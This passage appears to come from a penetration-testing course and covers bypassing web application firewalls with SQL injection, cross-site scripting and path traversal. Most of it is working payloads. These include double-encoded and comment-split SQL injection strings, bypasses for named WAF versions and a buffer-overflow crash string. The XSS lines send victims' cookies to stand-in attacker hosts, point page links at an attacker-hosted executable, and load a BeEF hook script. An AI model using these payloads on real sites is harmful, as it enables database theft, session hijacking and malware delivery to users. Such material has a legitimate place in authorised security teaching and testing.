to XSS attack too, and it can be used like this:

<sCrItT type="text/javascript">

var adr = '../evil.php?cakemonster=' + escape(document.cookie);

</ScRipt>

Double Encoding
As we said in the start of this section, there are many layers that may exist until our malicious code reaches its desti-

nation. Until now, we examined single ways to encode our strings, but what happens when more than one decode

takes place in the chain? The answer is simple, we encode more than one time.

Let’s take a scenario where the web server does URL decoding but WAF also does URL decoding for security pur-

poses. Our SQL injection example this time will be:

%2527%2520union%2520select%2520password%2520from%2520mySQL.user%2520limit%25201%2520%25
2F*

37
MODULE 2
WAF Bypassing with SQL Injection

This string is the same as in our URL Encoding example but it has been encoded one more time in the same way. In

this situation and when the WAF decodes this string, it will fail to block it, because it is still encoded and it cannot

find the malicious string. In the stage of the web server, the string will be decoded again, and executed correctly.

The double encoding way can be used in many situations and combinations. We have to fingerprint correctly the

server side and the WAF to be able to know what decodes take place and perform the corresponding encodings.

Until now, most of our examples used SQL queries for

WAF Bypassing. This happens because the most com-


Bypassing WAF with SQL
mon attack used in WAF bypassing is SQL Injection. But

Injection let’s start with SQL itself. SQL (acronym for Structured

Query Language) is a query language used in the design

and management of databases. Most of the products used today are relational databases, like SQL Server, MySQL

and other. Databases have data stored inside a table-like structure that has rows and columns.

The queries that you may have seen many times in this course are strings that with the use of select statement re-

trieve data from the database in the call of the client. Except for select, there are some other statements that are

mostly used in SQL Injection, which are the following:

• INSERT Statement: INSERT statement is used to create a new row of data within a table. It is commonly

used when an application adds a new entry to an audit log, creates a new user account, or generates a new

order.

• UPDATE Statement: UPDATE statement is used to modify one or more existing rows of data within a table.

It is often used in functions where a user changes the value of data that already exists in the database.

• DELETE Statement: DELETE statement is used to delete one or more rows of data within a table of a data-

base.

There is one more common aspect that is used widely in SQL injection attacks, the UNION operator. It is used to

combine the results of two or more SELECT statements into a single result. So, when a client application makes a

38
MODULE 2
WAF Bypassing with SQL Injection

query to retrieve some data from the server, the UNION operator can be used to add another SELECT statement

and have both select statements executed in the database. For example, let’s take the following query:

SELECT * FROM users WHERE fname=’Tom’

Here the query is called to return all the records from the table users that have the fname field equal to Tom. (The *

character is a wildcard in SQL and selects all the columns in a table) Now, the use of the UNION operator in this

query is pretty simple:

SELECT * FROM users WHERE fname=’Tom’ UNION SELECT password FROM users –‘

Here, the query does everything that it did earlier, and it adds in the results the records of the passwords row in the

users table. So, you can understand that by supplying this UNION operator on a vulnerable web application that al-

ready supplies a query to the database, it will add the query of our choice in this “equation”. Let’s now see what ex-

actly is SQL Injection and how we can use it in WAF Bypassing.

SQL Injection is a code injection attack where the attacker

SQL Injection supplies a malicious crafted query to the database with the

intention of data extraction from it. It is a really common

vulnerability, despite the fact that it is one of the older

ones. To see how this vulnerability works, imagine a search field in a website where we supply a names, and it re-

turns info about that corresponding name. The database executes the following query:

SELECT * FROM users WHERE name=’tom’;

If this database is vulnerable and we supply a ‘ it will return an error because we will have the following results in the

query:

SELECT * FROM users WHERE name=’’’;

An example attack in this situation would be:

SELECT * FROM users WHERE name = 'tom' OR '1'='1' -- ';

39
MODULE 2
WAF Bypassing with SQL Injection

Here we supplied tom’ OR ‘1’=’1’—which resulted in a logical expression that always results as True, because

1=1 every time, and with the or operator, we need only one of the two to be true for the query to return everything

in the users table. The double – symbol is added, so everything else after them is commented out and not executed.

Blind SQL Injection is the most common type of SQL injec-

Blind SQL Injection tion, and its difference from the simple one is that the re-

sults of this type of injection are not visible to the attacker.

The page will not display the results as in the previous ex-

ample but it will display them depending on the logical statement results that will occur from our injection. It is a dif-

ficult vulnerability to exploit because it needs time to test many things one by one, and most of them will be unsuc-

cessful requests. Let’s take the previous example with the name search field. In a situation like this, which is the most

common one in a penetration test, the query happens completely on the server; we don’t know the names of the

database, table, or fields, nor the query string. In this situation, the simple 1=1 that we provided earlier, will give us

no result, and this is what a blind SQL injection does.

This time we need to supply something like this:

tom’ and 1=1—

As you can see, here it is needed for both of the Boolean expressions to be true, for tom to equal a record in the da-

tabase and 1=1 to be true, which always happens. If this returns a result, it means that it is vulnerable to Blind SQL

Injection and we can continue to fingerprint the database.

A good example on how to continue would be:

Tom’ AND substring(@@version, 1, 1)=5

The “substring(@@version, 1, 1)=5” part checks to see if the version of MySQL is version 5 (through the

“=5” check), and if it is running version 5 then the page will just load normally because SQL will run without a prob-

lem. And this is the way of blind sql injection. We have to supply questions to the database that if they are true, the

page that corresponds to the first part of the string that we supplied will load.

40
MODULE 2
WAF Bypassing with SQL Injection

These types of attacks are tested many times by automated tools, like sqlmap, but be careful, because these types

of tools are really noisy and can result in numerous junk reports in the database you are testing, a thing that you

surely don’t want.

Finally, after the MySQL fingerprinting example we saw, there is another similar way to find and fingerprint an Ora-

cle based database by submitting the following query in the database:

SELECT banner FROM v$version WHERE rownum=1

In situations like these, not only can we retrieve information about the database software, but the details about the

version are also returned, so there is no way to check for a specific version, but we can just supply the @@version in

the query for MySQL. If the underlying database is not up to date, new vectors of attack, such as buffer overflows,

could be explored.

It is also possible to exploit the vulnerability with the method of blind-SQL Injection by replacing SQL functions that

get to WAF filter rules with their synonyms. For example:

• substring() -> mid(), substr(), etc

• ascii() -> hex(), bin(), etc

• benchmark() -> sleep()

Let’s now see some examples of filter rule bypass on WAF, with SQL Injection.

As we said, filter rules are the main aspect of security of a

WAF, and we need to be able to bypass them if a WAF ex-


WAF Filter Rules Bypass
ists in front of a server we want to scan. Now, let’s say that

with SQL Injection we are testing the http://website.com/?id=1 which has the

parameter ?id=1 and it seems vulnerable from our basic

steps. A first way to supply a query that gives us the filter rule is a simple one like:

/?id=1+union+(select+*+from+users)

41
MODULE 2
WAF Bypassing with SQL Injection

Here the query is normal with no encoding, and WAF detects it immediately and blocks us. Now, there are many

ways to bypass this rules as we saw earlier, so let’s examine some examples:

/?id=(1)union(select(1),mid(hash,1,32)from(users))

In this situation, we replace the substring() function with mid(), which can have positive results, as many of the WAFs

filter only a small amount of functions.

/?id=1+union+(select'1',concat(login,hash)from+passwords)

Here, we concatenate our string with the concat() function, that may help us in situations that the WAF filters the

whole query. By concatenating it, we are sure that our query will not be blocked from this type of filter.

/?id=(1)union(((((((select(*),hex(hash)from(passwords))))))))

Many WAFs filter only one layer of brackets, so an effective way of bypass is to add more layers that will trick the

WAF to think that there is nothing malicious inside the bracket.

Now let’s see some real world filter bypass examples for industry used WAFs.

PHPIDS (PHP Intrusion Detection System) is an open

PHPIDS - PHP Intrusion source PHP Web Application Intrusion Detection System.

Because of its nature, it is widely known and used, and you

Detection System can find it in many web servers. PHPIDS has some default

filter rules that you can find in its GitHub page. Now, let’s

perform our first attack in a system that uses a MySQL database:

/?id=1+union+select+user,password+from+mysql.user+where+user=1

Supplying this, the WAF blocks us, because as you can see, it is pretty straight forward that we are supplying an SQL

query. Let’s change this query to something like this:

/?id=1+union+select+user,password+from+mysql.user+limit+0,1

42
MODULE 2
WAF Bypassing with SQL Injection

Here you can see that we changed the Where user=1 with the limit statement, which is used to retrieve records from

one or more tables in a database and limit the number of records returned based on a limit value. So, even not

knowing the rule, and changing the query like this, we now know one of the rules.

Continuing, let’s give a really simple but powerful query we saw earlier, the 1 OR 1=1.

/?id=1+OR+1=1

We can see here that the WAF blocks us, and it is normal as it is a pretty standard and well known malicious query.

But, its bypass is pretty easy too. We just have to change the numbers with their hex equivalents to be able to by-

pass the WAF and reach the target SQL database:

/?id=1+OR+0x50=0x50

Finally, in version 0.6.1.1 of PHPIDS that we are checking out, a bypass similar to the generic one we saw earlier

takes place, and if we replace the substring() function, with the mid() one, we can bypass the firewall.

In mod_security’s 2.5.9 version, we have many filters that

can be bypassed. Two of the common ones that we saw


Mod_Security
again until now are the substring – mid alteration and the

hex encoding of the 1=1 expression. We can also alternate

the and 1=2 expression with the following:

?id=1+and+5!=6

which will bypass the filter correctly. Also, this WAF is filtering the drop statement that we can change with this:

/?id=1;delete members

43
MODULE 2
WAF Bypassing with SQL Injection

We talked about HTTP Parameter Pollution in the start of

HPP Exploitation with SQL this module, and now that we have an idea of the SQL In-

jection attacks, let’s combine them to exploit HPP. We

Injection have to start by saying that an HPP attack’s success de-

pends on the environment of the application that we are

attacking. Now, the logic behind this attack is that we can separate a query into many parts by adding parameters.

For example:

http://website.com/?id=”queryquery1”&id=”queryquery2”

In the final destination, this query will be merged and get executed by the server if the web site has the HPP Vulner-

ability. This vulnerability will look something like this in the SQL request code that a web application performs:

SQL="select key from table where id="+Request.QueryString("id")

And it can be exploited by the logic we saw earlier:

/?id=1/**/union/*&id=*/select/*&id=*/tom/*&id=*/from/*&id=*/users

As you can understand, we used many &id parameters to concatenate the query, and we used SQL comments to

comment out these parameters in the final SQL server destination. With this technique, only the query is left in the

end to be executed. So, combining the code that the form executes and the query we supply in the parameter, we

have:

select key from table where


id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan

44
MODULE 2
WAF Bypassing with SQL Injection

Image 2: The way that each web technology can be exploited with HTTP Parameter Pollution

HTTP Parameter fragmentation is similar to HPP but with

HTTP Parameter the addition that we are not using the same parameter

again and again. In HPF, we are attacking web pages that

Fragmentation – HPF have more than one parameter, and the SQL query we

are trying to inject gets fragmented into as many pieces

as the numbers of the available parameters. An example of the vulnerable code could be:

Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);



Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit
".$_GET['c']);

As you can see, this page produces a query with two parameters, a and b, and sends both of them to the server. By

supplying the following:

/?a=1+union+select+1,2/*

we are commenting out all the following query from after the injected one, and this request doesn’t allow anyone to

conduct the attack, because we can see in the vulnerable code that it has the AND operator, so it needs both the

parameters.

45
MODULE 2
WAF Bypassing with SQL Injection

To exploit code like this, we can change our previous query to something like this:

/?a=1+union/*&b=*/select+1,2

Here you can see that we are separating the query in both of the parameters, so the code gets True, as both the

parameters exist, and we add the SQL comment in the right places, so the parameters will be commented out in

the end, and the query will be merged into one piece. The final query from the first vulnerable code, will be:

select * from table where a=1 union/* and b=*/select 1,2

Another example with more than two parameters could be:

/?a=1+union/*&b=*/select+1,password/*&c=*/from+users—

The same applies here, with three part fragmentation, because we have three parameters. The final SQL parameter

in this situation, will be:

select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--

Many times in the previous examples, we talked about

Bypassing WAFs with SQL normalization without really mentioning it. Normalization

is the process of adding comments and other symbols

Injection Normalization that the WAF strips inside keywords that the WAF also

strips, so the final result will be our desired query that we

want to be executed in the database. It is a really good WAF bypassing method, but we have to know some of the

filters that the WAF uses for the attack to success.

In the example we saw earlier that didn’t let anyone conduct an attack, due to filtering from the WAF

(/?a=1+union+select+1,2/*), we can add the following:

/?a=1/*union*/union/*select*/select+1,2/*

If there is a corresponding vulnerability here in the WAF, this request will be successfully performed in the server. Af-

ter being processed by WAF, the request will become:

?a=1/*uniX on*/union/*sel X ect*/select+1,2/*

46
MODULE 2
WAF Bypassing with SQL Injection

This example works in case of cleaning of dangerous traffic by the WAF, and not in case of blocking the entire re-

quest or the attack source. Similarly, the following request doesn’t allow anyone to perform this query:

/?id=1+union+select+1,2,3/*

But if we change it to something like this, and the WAF is vulnerable to normalization techniques:

/?id=1+un/**/ion+sel/**/ect+1,2,3—

This query will be executed completely in the SQL database, and it will look something like this:

SELECT * from table where id =1 union select 1,2,3—

This example works in case of excessive cleaning of incoming data (replacement of a regular expression with the

empty string). As you can understand, instead of the /**/ comment symbol, any symbol sequence that WAF cuts

off can be used (e.g., #####, %00), but we have to know, and we can find it out by fingerprinting the filter rules of

the WAF.

For those who don’t know, “a buffer overflow, or buffer

Buffer Overflow + SQL overrun, is an anomaly where a program, while writing

data to a buffer, overruns the buffer’s boundary and over-

Injection = Bypass WAF writes adjacent memory locations.” We can exploit this

vulnerability that exists in some WAFs that have special

coding background.

47
MODULE 2
WAF Bypassing with SQL Injection

Image 3: A memory presentation example, on what happens in a buffer overflow.

For example, many firewalls are written in C or C++, which we can crash with a buffer overflow, because some vari-

ables of the program can take only a small amount of memory, and we can bypass it if there is no protection, or bad

coding.

Let’s take again a website, and supply the following link:

http://www.website.com/?id=-15+and+(select 1)=(Select 0xAA[..(here we add about 1000


“A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2

With this method, the WAF firstly crashes and then the SQL query gets to the server and executes. We can also test

if the firewall crashed, by supplying:

http://www.website.com/?id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%
0A/*nnaa*/+1,2

If it returns a 500 HTTP response, it means that we can exploit this WAF with buffer overflow.

48
MODULE 2
WAF Bypassing with SQL Injection

Let’s close the section of SQL Injection WAF Bypass with

WAF Bypass with SQL some practical examples. As we saw in the start, one of

the most common ways of bypass is with encoding. But

Injection Examples we just saw encoding of a whole keyword, or even dou-

ble encoding. If we see that none of this works, we can

also advance it a bit, and only encode a part of a keyword, and this is a way that not many manufacturers have in

mind. So, in this situation, we replace some characters with their HEX(URL-encoded) equivalents. For example:

http://www.website.com/?id=15 /*!u%6eion*/ /*!se%6cect*/ 1,2

So now the WAF will have the original and the hex encoded keyword in the filter rules, but it is really difficult to have

all the possible alterations inside, so trying a different character each time can give us the golden ticket. As you can

see here, we just supplying union select, with some characters encoded to HEX.

Next, many WAFs try to offer protection by adding some prototype or strange functions. Let’s take a firewall, for ex-

ample, that replaces the apostrophe symbol (‘) with whitespaces. Here we can add apostrophes inside the key-

words we want, to separate them and not get recognized by the WAF, as we saw in the keyword splitting section.

http://www.website.com/?id=-15+uni’on+sel’ect+1,2

The apostrophe is a commonly blocked character by WAFs, because it usually causes problems with SQL databases.

Now, in this example, if the WAF filters and removes the apostrophe, the resulting query will give 15 union select

1,2, and this is a pretty easy bypass that happens really often. Some more examples that can give you ideas about

how you can use encoding cleverly to bypass WAFs can be seen below:

/*--*/union/*--*/select/*--*/

REVERSE(noinu)+REVERSE(tceles)

+UnIOn%0d%0aSeleCt%0d%0a

/%2A%2A/union/%2A%2A/select/%2A%2A/

%55nion(%53elect)

union%20distinct%20select

%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect

49
MODULE 2
WAF Bypassing with SQL Injection

%55nion %53eLEct

As you can see, the possibilities are endless, and WAF bypassing, when we are heading for SQL Injection, stops only

by our imagination. There are many things we can do, many encoding schemes we can combine, and all these get

multiplied when we have deep knowledge of SQL Injection and queries and we can make many variations of the

same query.

50
Module 3
WAF Bypassing with XSS
MODULE 3
WAF Bypassing with XSS and RFI

Until now, we examined some serious ways of bypassing WAF, including encoding schemes, SQL Injection and oth-

ers. In this module, let’s examine another critical attack method that an attacker can use in various ways to bypass

WAFs. This attack is XSS.

Cross Site Scripting (or simply XSS) is an injection type at-

tack where the attacker injects malicious scripts into


Cross Site Scripting – XSS
trusted websites. The vulnerability occurs when we use a

web application to send maliciously crafted code in the form of a browser side script, most of the time in HTML, to a

different user of the application. These kinds of attacks take place in many places of a web application, most of the

time in the parts that the user can supply content to it and the web application generates it within the output, with-

out validating or encoding it.

As we said, the attacker can send malicious code to another user. The browser of the user that will receive this code

has no way to know that this script cannot be trusted, and it will be executed, as it was given by the website itself.

Cookies, session tokens, and other user sensitive information, are only some of the data that we can acquire with

XSS attacks.

To continue, Cross-Site Scripting (XSS) attacks occur when:

• Data enters a Web application through an untrusted source, most frequently a web request.

• The data is included in dynamic content that is sent to a web user without being validated for malicious con-

tent.

The malicious content that we sent to the web browser often takes the form of a segment of JavaScript, but it can

include HTML, Flash, or any other type of code that the browser recognizes and executes. The variety of attacks

based on XSS is almost limitless. These scripts can even rewrite the content of the HTML page. They can also redi-

rect the victim to web content controlled by the attacker, or perform other malicious operations on the user’s end.

There are also other types of XSS attacks. XSS is basically categorized as either stored or reflected, but the DOM

Based XSS also exists that is less common.

52
MODULE 3
WAF Bypassing with XSS and RFI

• Stored XSS Attacks: This kind of XSS is where the script that the attacker injects is permanently stored on

the target server, like in a forum thread, comments or, generally, in a database. The victim then retrieves the

script by reacting with the means that carries it, and executes it, unveiling the malicious results. Stored XSS is

also sometimes referred to as Persistent or Type-I XSS.

• Reflected XSS Attacks: In this XSS type, the script we inject is reflected off the web server, such as in an er-

ror message, or any response that includes some or all of the input sent to the server as part of the request.

These attacks are executed through other routes and not input fields. These routes can be email messages,

or redirections from other websites. The user firstly is tricked into clicking a link, or visiting a website that is

maliciously crafted, and the injected code heads to this site, which reflects the attack back to the user’s

browser. Finally, the browser executes the code because it came from a trusted server. Reflected XSS is also

sometimes referred to as Non-Persistent or Type-II XSS.

As you can understand, WAFs try to filter these kind of attacks, but the amount of exploitation methods of XSS is so

big that it is really difficult for WAFs to keep up. Also, XSS is really difficult to find and remove from a web applica-

tion. The most common way is to review all places that input is taken with HTML tags, and by this an attacker can

transmit malicious Javascript code. Finally, it is common that if one part of the application is vulnerable to XSS, other

problems exist as well.

In the following example, we can see a server side script that is used by the application to display the latest com-

ment:

print "<html>"

print "Latest comment:"

print database.latestComment

print "</html>"

Of course, the script assumes that the user only supplies text, however since the user input is included directly, an

attacker could submit other input too. For example:

<script>...</script>

53
MODULE 3
WAF Bypassing with XSS and RFI

Inside the <script> tags, the attacker can insert JavaScript code that will be executed by the user that will open

the malicious comment of the attacker. Now, many will ask how JavaScript can be malicious, and for this there are

some facts that we have to keep in mind:

• JavaScript has access to much sensitive info, carried by the browser, like cookies.

• JavaScript can modify the HTML of the current page using DOM manipulation methods.

• JavaScript can send HTTP requests with arbitrary content to arbitrary destinations by using the XMLHttpRe-

quest parameter and other mechanisms.

These facts can be combined to perform attacks like cookie theft, keylogging and phishing. So, let’s add JavaScript

code to our previous example, where we will try to steal the session cookie of the users that navigate to the com-

ments page:

<script> window.location='http://maliciouswebsite.com/?cookie='+document.cookie </


script>

When the victim is visiting the page of this comment, this script navigates him to a different URL (the URL that we

add to the script), that will trigger an HTTP request on the attacker’s server. The URL will include the victim’s cookie

as a parameter which we can later extract. With the possession of the cookie, one can impersonate the victim on the

exploited website, and perform more attacks.

Until now, we saw how to perform XSS using the <script>

XSS Syntax tags. But the truth is that XSS may be conducted without

using them, and other tags will work as well. For example:

<img src="http://fakewebsite.com/image.jpg" onerror=alert(document.cookie);>

The onerror event that we see here is triggered if an error occurs while loading an external file, and here returns the

cookie of the user, similarly with the earlier example. Another interesting event commonly used in xss attacks is the

onmouseover, that produces an action when the user passes the mouse over the link, image or other infected tag.

Here is an example:

54
MODULE 3
WAF Bypassing with XSS and RFI

<b onmouseover=alert('Hacked')>click me!</b>

Here we can see that we use the bold tag and with the onmouseover event we produce an alert that writes Hacked

when the user passes the mouse over the click me! text.

Also, we can use Encode URI schemes as we learned in module 2, to encode our strings and be able to bypass fil-

ters. For example:

<IMG SRC=j&#X41vascript:alert('test2')>

Here we use UTF-8 encoding in the JavaScript code with the img tag.

As we already said, this type of XSS occurs when we inject

code to an HTTP response and the code is not stored in


Reflected Cross Site
the application, but attacks users that open specially

crafted URLs or 3rd party pages. The string is contained in the URL or in the HTTP parameters, which is processed

wrong by the application and it gets returned to the victim. Finally, there are three steps in performing an XSS at-

tack.

First of all, we have to detect the input vectors of the web application. By this we mean that we have to find all the

user-defined variables of the website and how the input is done. Some might say that this is pretty easy, but keep in

mind that most of the time hidden and nonobvious input exists in HTTP parameters, POST data and hidden HTML

fields that the developer has added. We can use a proxy to view and edit the requests, or an HTML editor to find

and edit hidden fields in a web page.

The next step is to analyze this input path we found and detect if an XSS vulnerability exists. For XSS detection, we

have to use specially crafted input data that will be harmless, but triggers responses from the browser that will get

the return from the vulnerability. The data that we supply to the application can be made with many ways, but some

good examples are simple scripts, like the examples we saw earlier. For example:

<script>alert(‘test’)</script>

“><script>alert(document.cookie)</script>

<IMG SRC="javascript:alert('XSS');">

55
MODULE 3
WAF Bypassing with XSS and RFI

Now that we know if our web application is vulnerable or not, we have to determine if this vulnerability has a serious

impact to the web application’s security. To do so, we have to examine the output HTML page of our test in step

one, and find our input. Once found, we have to check for any special characters that were not properly encoded or

filtered by the web application or the WAF. In a secure application, all HTML special characters will be replaced.

Some key HTML characters to look for are: <,>,&,’,”, but there are many guides available on the internet with

more special characters

(https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references).

Also, in the context of HTML action or JavaScript, other special characters have to be determined, like:

\n (new line)

\r (carriage return)

\' (apostrophe or single quote)

\" (double quote)


\\ (backslash)

\uXXXX (unicode values)

More special code characters can be found here:

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Using_special_characters_in

_strings

Let’s see an example of a web application where users navigate to a page that changes its HTML code, by the pa-

rameter ?id= of the URL, for example, a shop that redirects to a credit card service. This is a data entry point where

we can give input as we saw earlier. So, let’s supply the following:

http://eshop.com/checkout.php?id=<script>alert(123)</script>

If no sanitization is applied and we try to checkout by supplying this script, we will see a popup window saying 123,

like in image 1.

56
MODULE 3
WAF Bypassing with XSS and RFI

Image 1: Popup message in forum after a successful XSS attack.

Of course, by this we can understand that an XSS vulnerability exists and we can execute the code of our choice on

anybody’s browser if the victim clicks on our supplied link.

Of course, now that we know that this parameter is vulnerable, we can alternate the script and do whatever we

want. A good example is to supply the following code:

http://eshop.com/checkout.php?id=<script>window.onload = function() {var


AllLinks=document.getElementsByTagName("a"); AllLinks[0].href =
"http://attackerssite.com/malicious.exe"; }</script>

With the visit of the victim in this URL, he will download a malicious executable from a site of our preference. So,

you can see that the possibilities are endless.

Another XSS method we mentioned was stored XSS. This

Stored Cross-site Scripting is the most lethal of the two most common methods, and

it happens to web applications that allow users to supply

input that is stored to the database, and it may be malicious. For example, a forum that accepts comments and is

vulnerable can save the malicious comment of a user and exploit everyone that interacts with this page. Other at-

tacks that can be performed are:

• Hijacking another user’s browser

• Capturing sensitive information viewed by application users

• Port scanning of internal hosts (“internal” in relation to the users of the web application)

57
MODULE 3
WAF Bypassing with XSS and RFI

• Directed delivery of browser-based exploits

Unlike Reflected XSS, stored does not need a link and phishing methods to make the victim visit the maliciously

crafted URL. If the victim visits the vulnerable web page that has been exploited, the code is executed by the user’s

browser. Of course, this type of attack is really dangerous for users with extended privileges, admins, etc., because

these are the users that are targeted and have most of the privileges in a web site.

The process of testing for a stored XSS is pretty similar with the reflected one, but let’s examine an example to see

the differences in the web application and the behavior of the attack. We will do this mostly because we have to un-

derstand where the code is stored and where it exists in the context of the page. Let’s take, for example, a page

where we create a new user account for a website. There, despite all the other input fields, it has a field where we

input our email for verification and login reasons. By its nature, an email field has to be more flexible, because it may

contain special characters and may be case sensitive, so the filtering of this kind of field is difficult.

Examining the code of this page, we find the following piece of code:

<input class="inputbox" type="text" name="name" size="40" value=" " />



<input class="inputbox" type="text" name="username" size="40" value=" " />

<input class="inputbox" type="text" name="email" size="40" value=" " />


As we can see, the value attribute of each field will include whatever we are going to supply to the web application.

For example, if we supply Alexander to the name field, this piece of code will be:

<input class="inputbox" type="text" name="name" size="40" value="Alexander" />

Let’s say that we want to test this field and supply malicious code, how can we do it? We simply craft a string that

will serve the needs of the HTML code. For example:

Alexander”><script>alert(“123”)</script>

Now the code is stored in our credentials, and every time a user of this website sees our profile, he will be served

with a popup saying 123. As you can understand, in many cases, it is a very restricted scenario because we may have

only one try to give the string we want, as the account may not accept changes in one or all of its fields. In this sce-

58
MODULE 3
WAF Bypassing with XSS and RFI

nario, we probably have to create multiple accounts to test it correctly, but this may create problems in the testing

server.

After we are sure about the vulnerability of the field, we continue with supplying a malicious script to check its be-

havior. For example:

Alexander%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

Here we have a well-known string, that returns the user’s cookie, but we have URL encoded the special characters to

bypass the WAF that exists in the server.

Keep in mind that, nowadays, many browsers disable JavaScript for security reasons, or modify the the HTTP re-

quests (client side controls). So, an attack may be presented in a page, but not succeed because of client side con-

trols. It is also important to test the same attack scenario with GET and POST methods, because it may be sensitive

only to one way.

Image 2: Response after a stored XSS attack with cookie capturing.

59
MODULE 3
WAF Bypassing with XSS and RFI

There are many more ways to exploit XSS; let’s see some

Example XSS Attacks example, to get more familiar with the process.

In the previous module, we saw about the HPP and HPF at-

tacks, and we implemented SQL injection to them. But the

HPP and HPF logic is the same here and we can perform an XSS attack

exploiting the HPP or HPF vulnerability, to be able to bypass a WAF. Let’s say, for example, that we have this vulner-

able URL:

http://webpage/index.php?id=

A regular XSS attack here would look like this:

http://webpage/index.php?id=<script>alert(“123”)</script>

But exploiting an HPP vulnerability will transform this to:

http://webpage/index.php?id=<script&param=>alert(“123”)</&param=script>

The result will be once more the popup window, and our WAF that is vulnerable to HPP has been passed.

Until now, we saw that we use really small fragments of

code in our scripts, usually written in the <script> tags. But


External Script Execution
what if we want to execute a script in the victim’s browser

that is hosted outside the website? It is again pretty easy,

and we can perform it by simply supplying the following in the vulnerable field:

<script src="http://script-host/xssattack.js"></script>

Here you can see that we are using the src attribute that gives us the ability to include a link to our tags. This script

execution is also stealthy, because we have left empty the space inside the script tags. As you can see, our hosted

script is written in JavaScript, because it is a script language that usually executes in a browser. Some examples for

WAF bypassing with this attack would be:

<sCrIpT src="http://script-host/xssattack.js"></ScRiPt>

<scr+ipt src="http://script-host/xssattack.js"></scr+ipt>


60
MODULE 3
WAF Bypassing with XSS and RFI

<SCRIPT%20a=">"%20SRC="http://script-host/xssattack.js"></SCRIPT>

<SCRIPT =">" SRC="http://script-host/xssattack.js"></SCRIPT>

<scri<script src="http://script-host/xssattack.js">pt src=”http://script-host/
xssattack.js”></script>

Another thing we talked about a little bit earlier is the

event handlers. An HTML event can be something that the


Attack with Event Handlers
browser or the user does, so in our script, we use these

event handlers to be able to handle events that take place.

Also, JavaScript can react to these events. Some interesting events can be the following:

• onClick() – When someone clicks a form, link, etc.

• onError() – When loading of a document or image causes an error

• onFocus() – The string gets executed when the window gets focus

• onLoad() – The string gets executed when the window is finished loading

These and many more can be found on the internet that can exploit several behaviors of the user or the browser,

and help us bypass some restrictions. A good example could be:

" onfocus="alert(document.cookie)

We can add this to an input field, as we saw earlier, and it will trigger the cookie grabbing when the window gets

into focus. Also, we can use the onError event, or any event as an HTML attribute, like this:

<img src="http://website/image.jpg" onerror=alert(document.cookie);>

Here the event triggers if the image from the img tag has a problem loading, and if this happens, cookie grabbing

takes place. It is a case restricted scenario, but if the attacker manages to find a page that has problems loading im-

ages and has XSS vulnerabilities, it is a really good way. Finally, a way that is mostly used in reflected XSS is the on-

mouseover event handler, that can be used like this:

<script onmouseover="alert(document.cookie)></script>

61
MODULE 3
WAF Bypassing with XSS and RFI

Here we have a script that every time the user passes the mouse over the URL, it triggers the cookie grabber, and

can be easily used in phishing attacks, in emails, and comments in stored XSS scenarios.

BeEF (Browser Exploitation Framework) is a frame-

XSS Attacks with BeEF & XSS work for attacking web browsers and exploiting

XSS vulnerabilities and victims’ browsers. We have

Attacks and WAF Bypass with to keep in mind that BeEF is not a vulnerability

finder and we have to manually find the XSS vulner-


XSSer: ability to proceed in using BeEF. The first step is to

fire up BeEF from Kali Linux, which comes prein-

stalled in it or install it in a Linux machine from

XSS Attacks with BeEF here: http://beefproject.com/. A browser window

will start looking at the localhost and port 3000,

where the BeEF is running. Now the next step is to hook the victim’s browser to BeEF, which we can do by simply

attacking XSS with something like the following:

http://www.testsite.com/xss-test.php?id=<script src=”http://<IP>:3000/hook.js”></
script>

Image 3: Starting BeEF, and enabling the hook script that we can use to perform an XSS attack.

Here you can see that we use the script tag in a Reflected XSS vulnerability. Also, keep in mind that for the IP to

work for a remote machine, we have to use port forwarding in our router, but this is not in the scope of this course.

Once we have hooked to a victim’s browser, we can find info in the BeEF controller and try to attack the browser.

The next step is to navigate to the commands tab, where a big variety of automated post XSS attacks can be found.

62
MODULE 3
WAF Bypassing with XSS and RFI

Image 4: The commands tab contains a big variety of attacks that we can perform after exploiting an XSS vulnerability.

Cross site Scripter – XSSer is a really powerful tool

that can automate the process of detection and ex-


XSS Attacks and WAF Bypass
ploitation of XSS vulnerabilities. It can be found pre-

with XSSer installed in Kali Linux, or here http://xsser.03c8.net/

for download and installation on another Linux ma-

chine.

To run it, we just open a terminal and type something like this:

xsser -u ‘http://vulnerable-website.com’ -g 'Search.asp?tfSearch=' -Fuzz -s

Here you can see that we used the following options:

-u : The URL for the site we want to test



-g : The HTTP Method to use (GET or -p for POST or -C for Crawling)

These are only a few of the large amount of options and modifications that we can do in this script. Here we run a

really simple example, but you can see all the available options in the help page of XSSer by typing xsser -h

63
MODULE 3
WAF Bypassing with XSS and RFI

Image 5: XSSer results, presenting possible XSS injections in the victim website.

XSSer uses many encoding ways to be able to bypass a WAF, so we can say that if an XSS vulnerability exists in the

target, the XSSer is an automated WAF bypasser.

A path traversal vulnerability allows an attacker to

access the file system, or a part of it, that is stored


Path Traversal
outside the webroot folder. Most of the time, this

vulnerability gets exploited by manipulating variables that reference files with ../ sequences, or some variation of

it, or by using absolute file paths. With this, it may be possible to access files and whole directories stored on the file

system of the web hosting server. Most of the time, files are limited by system access controls, but this goes to other

type of attacks.

Path traversal, due to its nature, gets filtered by WAFs, and this is why we have to be able to bypass them. The usual

“dot-dot-slash” ../ can be bypassed with the same methods as the earlier examples. For example:

%2e%2e%2f

%2e%2e/

..%2f

64
MODULE 3
WAF Bypassing with XSS and RFI

But due to its small nature, WAFs are successful in filtering all its variations. So, we have to find other ways to bypass

this. To do so, let’s see an example that we want to read files in the directory one level higher than the root. Here

the code that runs in the back end would be:

<? include($_GET['file'].".txt") ;?>

To exploit this part with path traversal we can supply:

http://website.com/?file=filesystem/admins.db/./.[N]/./.

http://website.com/?file=filesystem/admins.db..[N]..

This ?file= parameter is vulnerable because of two features of PHP functions that exist to interact with the file sys-

tem. The first one, that we talked about in an earlier module, is path normalization, where odd symbols like / that

we use in path traversal are removed, and the second one is path truncation, which is bypassing the PHP limits, in

versions lower than 5.3 on PHP. We just have to add 4096 characters after the file name ( add 2050 /. after the file

name) to success. For example :
